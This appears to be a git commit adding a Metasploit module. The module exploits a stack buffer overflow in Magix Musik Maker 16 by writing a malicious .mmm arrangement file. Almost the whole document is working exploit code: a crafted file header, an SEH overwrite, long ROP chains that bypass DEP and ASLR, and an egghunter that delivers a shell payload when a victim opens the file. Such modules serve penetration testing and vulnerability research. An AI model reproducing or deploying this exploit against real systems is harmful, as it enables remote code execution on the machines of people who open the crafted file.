Added Magix Musik Maker 16 buffer overflow exploit

git-svn-id: file:///home/svn/framework3/trunk@12684 4d416f70-5f16-0410-b530-b9f4589650da

modules/exploits/windows/fileformat/magix_musikmaker_16_mmm.rb

@@ -0,0 +1,369 @@
+##
+# $Id$
+##
+
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# Framework web site for more information on licensing and terms of use.
+# http://metasploit.com/framework/
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+	Rank = GoodRanking
+
+	include Msf::Exploit::FILEFORMAT
+	include Msf::Exploit::Remote::Egghunter
+
+	def initialize(info = {})
+		super(update_info(info,
+			'Name'           => 'Magix Musik Maker 16 .mmm Stack Buffer Overflow',
+			'Description'    => %q{
+					This module exploits a stack buffer overflow in Magix Musik Maker 16.
+				When opening a specially crafted arrangement file (.mmm) in the application, an
+				unsafe strcpy() will allow you to overwrite a SEH handler.  This exploit
+				bypasses DEP & ASLR, and works on XP, Vista & Windows 7.  Egghunter is used, and
+				might require up to several seconds to receive a shell.
+			},
+			'License'        => MSF_LICENSE,
+			'Author'         =>
+			[
+				'acidgen',      #found the vulnerability
+				'corelanc0d3r'  #rop exploit + msf module
+			],
+			'Version'        => '$Revision$',
+			'References'     =>
+				[
+					[ 'URL', 'http://www.corelan.be/advisories.php?id=CORELAN-11-002' ],
+				],
+			'DefaultOptions' =>
+				{
+					'EXITFUNC' => 'process',
+				},
+			'Payload'        =>
+				{
+					'Space'       => 8000,  #could be more, but this is enough
+					'DisableNops' =>  'True',
+					'BadChars'    => "\x00\x0a\x0d",
+				},
+			'Platform' => 'win',
+			'Targets'        =>
+				[
+					[
+						'Windows Universal DEP & ASLR Bypass',
+						{
+							'OffSet' => 198,
+							'Ret'    => 0x200146fa,  #add esp,40c/ret [ltkrn14n.dll]
+						}
+					],
+				],
+			'Privileged'     => false,
+			'DisclosureDate' => 'April 26 2011',
+			'DefaultTarget'  => 0))
+
+		register_options(
+			[
+				OptString.new('FILENAME', [ true, 'mmm file',  'msf.mmm']),
+			], self.class)
+	end
+
+	def junk
+		return rand_text(4).unpack("L")[0].to_i
+	end
+
+	def exploit
+
+		print_status("Creating '#{datastore['FILENAME']}' file ...")
+
+		badchars = ""
+		eggoptions =
+		{
+			:checksum  => false,
+			:eggtag    => "Wo0t",
+			:depmethod => "copy",
+			:depreg    => "edi",
+			:depdest   => "ebp"
+		}
+		hunter,egg = generate_egghunter(payload.encoded,badchars,eggoptions)
+
+		header = "RIFF"
+		header << "\x8c"
+		header << "A"
+		header << "\x07\x00"
+		header << "SEKDSVIP"
+		header << "\x10\x07\x00\x00\x9b"
+		header << "[n"
+		header << "\x00" * 5
+		header << "\x11"
+		header << "\x00" * 3
+		header << "\x08"
+		header << "\x00" * 3
+		header << "D"
+		header << "\xac\x00\x00\x11"
+		header << "\x00" * 9
+		header << "9@"
+		header << "\x00\x00\xf0"
+		header << "B"
+		header << "\x00" * 4
+		header << "\xbd\x04\xef\xfe\x00\x00\x01"
+		header << "\x00" * 3
+		header << "\x10\x00\x04\x00\x02"
+		header << "\x00" * 3
+		header << "\x10\x00\x04\x00\x02\x00"
+		header << "?"
+		header << "\x00" * 3
+		header << "("
+		header << "\x00" * 3
+		header << "\x04\x00\x04\x00\x01"
+		header << "\x00" * 15
+		header << "K"
+		header << "\x91"
+		header << "2"
+		header << "\x01\xd0\x02\x00\x00"
+		header << "@"
+		header << "\x02\x00\x00"
+		header << "UUUUUU"
+		header << "\xf5"
+		header << "?"
+		header << "\x10"
+		header << "\x00" * 7
+		header << "\xff" * 8
+		header << "\x00" * 1680
+		header << "LISTx"
+		header << "\x95\x02\x00"
+		header << "physfile"
+		header << "\xf8\x08\x00\x00"
+		header << "C:\\Documents and Settings\\"
+		header << rand_text(8)
+		header << "\\My Documents\\MAGIX_Music_Maker_16\\AudioTemp"
+		header << "\x00" * 52
+		header << "Fat Rocker I_ogg.HDP"
+		header << "\x00" * 110
+		header << "C:\\Documents and Settings\\All Users\\Application Data\\MAGIX\\Music_Maker_16\\_Demos\\Demo"
+		header << "\x00" * 175
+		header << "Fat Rocker I.OGG"
+		header << "\x00" * 678
+		header << "\xf0\xbf"
+		header << "\x00" * 22
+		header << "\xf0"
+		header << "?"
+		header << "\x00" * 6
+		header << "^@"
+		header << "\x00" * 6
+		header << "^@"
+		header << "\x00" * 264
+
+		filename = "C:\\temp\\"
+		filename << "\xb3\x10\xf8\x1f" * 14  # slide
+		filename << "\x1e\x92\x01\x20"       # align
+
+		rop_chain1 =
+		[
+			#API pointer
+			0x2004e493,  # PUSH ESP # ADD EAX,20 # POP EBX # RETN  ** [LTKRN14N.dll]
+			0x1ff810b3,  # rop nop
+			0x1ff810b3,  # rop nop
+			0x1ff810b3,  # rop nop
+			0x20047f30,  # POP ECX # RETN  ** [LTKRN14N.dll]
+			0x2005012c,  # &API ptr
+			0x200263e4,  # MOV EAX,DWORD PTR DS:[ECX] # RETN  ** [LTKRN14N.dll]
+			0x1ffa3ab3,  # MOV DWORD PTR DS:[EBX],EAX # MOV EAX,1 # POP EBX # RETN 0C  ** [LTDIS14n.dll] 
+			junk,
+			0x2004e493,  # PUSH ESP # ADD EAX,20 # POP EBX # RETN    ** [LTKRN14N.dll]
+			junk,
+			junk,
+			junk,
+			0x20035546,  # MOV EAX,EBX # POP EBP # POP EBX # RETN  ** [LTKRN14N.dll] 
+			junk,
+			junk,
+			0x1ff95f45,  # PUSH EAX # POP ESI # RETN 08  ** [LTDIS14n.dll] 
+			0x1ffa82ef,  # POP EAX # RETN
+			junk,
+			junk,
+			0x2E9FA63D,
+			0x2004cb15,  # ADD EAX,74085539 # ADD EAX,5D58046A # RETN  ** [LTKRN14N.dll] D16059A3
+			0x1ff93af7,  # ADD EAX,ESI # POP ESI # RETN  ** [LTDIS14n.dll]
+			junk,
+			0x20047f30,  # POP ECX # RETN  ** [LTKRN14N.dll]
+			0x2001283a,  # POP ESI # POP EBP # POP EBX # ADD ESP,1F4 # RETN 10  ** [LTKRN14N.dll]
+			# write
+			0x1ff9cf5a,  # MOV DWORD PTR DS:[EAX],ECX # MOV EAX,1 # POP ESI # RETN 08  ** [LTDIS14n.dll]
+			junk,
+			0x2004e493,  # PUSH ESP # ADD EAX,20 # POP EBX # RETN  ** [LTKRN14N.dll]
+			junk,
+			junk,
+			0x20035546,  # MOV EAX,EBX # POP EBP # POP EBX # RETN  ** [LTKRN14N.dll]
+			junk,
+			junk,
+			0x1ff95f45,  # PUSH EAX # POP ESI # RETN 08  ** [LTDIS14n.dll]
+			0x1ffa82ef,  # POP EAX # RETN
+			junk,
+			junk,
+			0x2E9FA5F9,
+			0x2004cb15,  # ADD EAX,74085539 # ADD EAX,5D58046A # RETN  ** [LTKRN14N.dll]
+			0x1ff93af7,  # ADD EAX,ESI # POP ESI # RETN  ** [LTDIS14n.dll]
+			junk,
+			0x2003e6cd,  # MOV DWORD PTR DS:[EAX],EDI # POP EDI # POP ESI # MOV EAX,1 # RETN 10  ** [LTKRN14N.dll]
+			junk,
+			junk,
+			0x1ffa82ef,  # POP EAX # RETN    ** [LTDIS14n.dll]
+			junk,
+		].pack("V*")
+
+
+		rop_chain2 = [
+			0x2004cb15,  # ADD EAX,74085539 # ADD EAX,5D58046A # RETN  ** [LTKRN14N.dll]
+			0x1ff7c4e5,  # XCHG EAX,EDI # RETN  ** [LTDIS14n.dll]
+			0x2004e493,  # PUSH ESP # ADD EAX,20 # POP EBX # RETN    ** [LTKRN14N.dll]
+			0x20035546,  # MOV EAX,EBX # POP EBP # POP EBX # RETN    ** [LTKRN14N.dll] 
+			junk,
+			junk,
+			0x1ff95f45,  # PUSH EAX # POP ESI # RETN 08  ** [LTDIS14n.dll]
+			0x1ffa82ef,  # POP EAX # RETN
+			junk,
+			junk,
+			0x2E9FA591,
+			0x2004cb15,  # ADD EAX,74085539 # ADD EAX,5D58046A # RETN  ** [LTKRN14N.dll]  D16059A3
+			0x1ff93af7,  # ADD EAX,ESI # POP ESI # RETN  ** [LTDIS14n.dll]
+			junk,
+			0x2003e6cd,  # MOV DWORD PTR DS:[EAX],EDI # POP EDI # POP ESI # MOV EAX,1 #
+			junk,
+			junk,
+			0x1ffa82ef,  # POP EAX # RETN  ** [LTDIS14n.dll]
+			junk,
+			junk,
+			junk,
+			junk,
+			0x2E9FB65D,
+			0x2004cb15,  # ADD EAX,74085539 # ADD EAX,5D58046A # RETN  ** [LTKRN14N.dll]
+			0x1ff7c4e5,  # XCHG EAX,EDI # RETN  ** [LTDIS14n.dll]
+			0x2004e493,  # PUSH ESP # ADD EAX,20 # POP EBX # RETN    ** [LTKRN14N.dll]
+			0x20035546,  # MOV EAX,EBX # POP EBP # POP EBX # RETN    ** [LTKRN14N.dll] 
+			junk,
+			junk,
+			0x1ff95f45,  # PUSH EAX # POP ESI # RETN 08  ** [LTDIS14n.dll]
+			0x1ffa82ef,  # POP EAX # RETN 
+			junk,
+			junk,
+			0x2E9FA539,
+			0x2004cb15,  # ADD EAX,74085539 # ADD EAX,5D58046A # RETN    **D16059A3 [LTKRN14N.dll]
+			0x1ff93af7,  # ADD EAX,ESI # POP ESI # RETN  ** [LTDIS14n.dll]
+			junk,
+			0x2003e6cd,  # MOV DWORD PTR DS:[EAX],EDI # POP EDI # POP ESI # MOV EAX,1 # RETN 10
+			junk,
+			junk,
+			0x2004e494,  # ADD EAX,20 # POP EBX # RETN    ** [LTKRN14N.dll]
+			junk,
+			junk,
+			junk,
+			junk,
+			junk,
+			0x2004e494,  # ADD EAX,20 # POP EBX # RETN    ** [LTKRN14N.dll]
+			junk,
+			0x1ffa0231,  # DEC EAX # RETN    ** [LTDIS14n.dll]
+			0x1ff7c4e5,  # XCHG EAX,EDI # RETN    ** [LTDIS14n.dll]
+			0x2004e493,  # PUSH ESP # ADD EAX,20 # POP EBX # RETN    ** [LTKRN14N.dll]
+			0x20035546,  # MOV EAX,EBX # POP EBP # POP EBX # RETN    ** [LTKRN14N.dll]
+			junk,
+			junk,
+			0x1ff95f45,  # PUSH EAX # POP ESI # RETN 08  ** [LTDIS14n.dll]
+			0x1ffa82ef,  # POP EAX # RETN
+			junk,
+			junk,
+			0x2E9FA4D9,
+			0x2004cb15,  # ADD EAX,74085539 # ADD EAX,5D58046A # RETN  D16059A3
+			0x1ff93af7,  # ADD EAX,ESI # POP ESI # RETN    ** [LTDIS14n.dll]
+			junk,
+			0x2003e6cd,  # MOV DWORD PTR DS:[EAX],EDI # POP EDI # POP ESI # MOV EAX,1 # RETN 10  ** [LTKRN14N.dll]
+			junk,
+			junk,
+			0x2004e493,  # PUSH ESP # ADD EAX,20 # POP EBX # RETN  ** [LTKRN14N.dll]
+			junk,
+			junk,
+			junk,
+			junk,
+			0x20035546,  # MOV EAX,EBX # POP EBP # POP EBX # RETN  ** [LTKRN14N.dll]
+			junk,
+			junk,
+			0x1ff95f45,  # PUSH EAX # POP ESI # RETN 08  ** [LTDIS14n.dll]
+			0x1ffa82ef,  # POP EAX # RETN
+			junk,
+			junk,
+			0x2E9FA469,
+			0x2004cb15,  # ADD EAX,74085539 # ADD EAX,5D58046A # RETN    ** [LTKRN14N.dll]
+			0x1ff93af7,  # ADD EAX,ESI # POP ESI # RETN    ** [LTDIS14n.dll]
+			junk,
+			0x1ff72ce1,  # XCHG EAX,ESP # POP EDI # POP ESI # POP EBP # POP EBX # MOV EAX,1 # RETN
+			junk,
+		].pack("V*")
+
+		rop_chain3 = [
+			0x1ff95f45,  # PUSH EAX # POP ESI # RETN 08
+			junk,
+			junk,
+			junk,
+			junk,
+			0x1ffa82ef,  # POP EAX # RETN
+			junk,
+			junk,
+			0x2004FF98,
+			0x1ffaccf6,  # ADD EAX,100 # POP EBP # RETN
+			junk,
+			0x20026406,  # MOV EAX,DWORD PTR DS:[EAX] # NEG EAX # RETN  ** [LTKRN14N.dll]
+			0x20026408,  # NEG EAX # RETN         ** [LTKRN14N.dll]
+			0x1ff7c4e5,  # XCHG EAX,EDI # RETN    ** [LTDIS14n.dll]
+			0x2004da79,  # XOR EAX,EAX # RETN     ** [LTKRN14N.dll]
+			0x1ff93ae1,  # ADD EAX,ESI # POP ESI # RETN
+			junk,
+			0x1ff95f45,  # PUSH EAX # POP ESI # RETN 08  ** [LTDIS14n.dll]
+			0x1fffeb75,  # XCHG EAX,EBP # RETN           ** [LTKRN14N.dll]
+			junk,
+			junk,
+			#Oh Irony !
+			0x6001ac84,  # PUSHAD # RETN  ** [ijl10.dll]
+		].pack("V*")
+
+		rop_chain1_filler = rand_text(target['OffSet'] - rop_chain1.length - 2 )
+
+		# find a close heap
+		prehunter = "\x33\xC0"           #xor eax,eax
+		prehunter << "\x64\x8B\x40\x30"  #mov eax,fs[:30]
+		prehunter << "\x83\xC0\x48"      #add eax,48
+		prehunter << "\x83\xC0\x48"      #add eax,48
+		prehunter << "\x8B\x10"          #mov edx,[eax]
+		prehunter << "\x83\xc2\x4c"      #add edx,4c
+		prehunter << "\x83\xc2\x4c"      #add edx,4c
+		prehunter << "\x8B\x12"          #mov edx,[edx]
+
+		nops = make_nops(100)
+
+		filler = "\x5D\xC6\x9F\x2E"      # offset to 0x2000
+		filler << "\xc2\x53\x02\x20"     # RETN
+		filler << "\x04\x80\xfa\x1f"     # jump - first run : 0x1ffa8004 :  {pivot 8}  # POP EDI # POP EBP # RETN  ** [LTDIS14n.dll] 
+		filler << "\x12\x3a\xff\x1f"     # p/p/p/p/add esp,90/ret [ltkrn14n.dll] - second run
+		filler << "\xff\xff\xff\xff"     # access violation
+
+		buffer = header
+		buffer << filename
+		buffer << rop_chain1
+		buffer << rop_chain1_filler
+		buffer << [target.ret].pack("V")
+		buffer << filler
+		buffer << rop_chain2
+		buffer << rop_chain3
+		buffer << prehunter
+		buffer << hunter
+		buffer << nops
+		buffer << egg
+
+		filecontent = header + buffer
+
+		print_status("Writing payload to file")
+
+		file_create(filecontent)
+
+	end
+
+end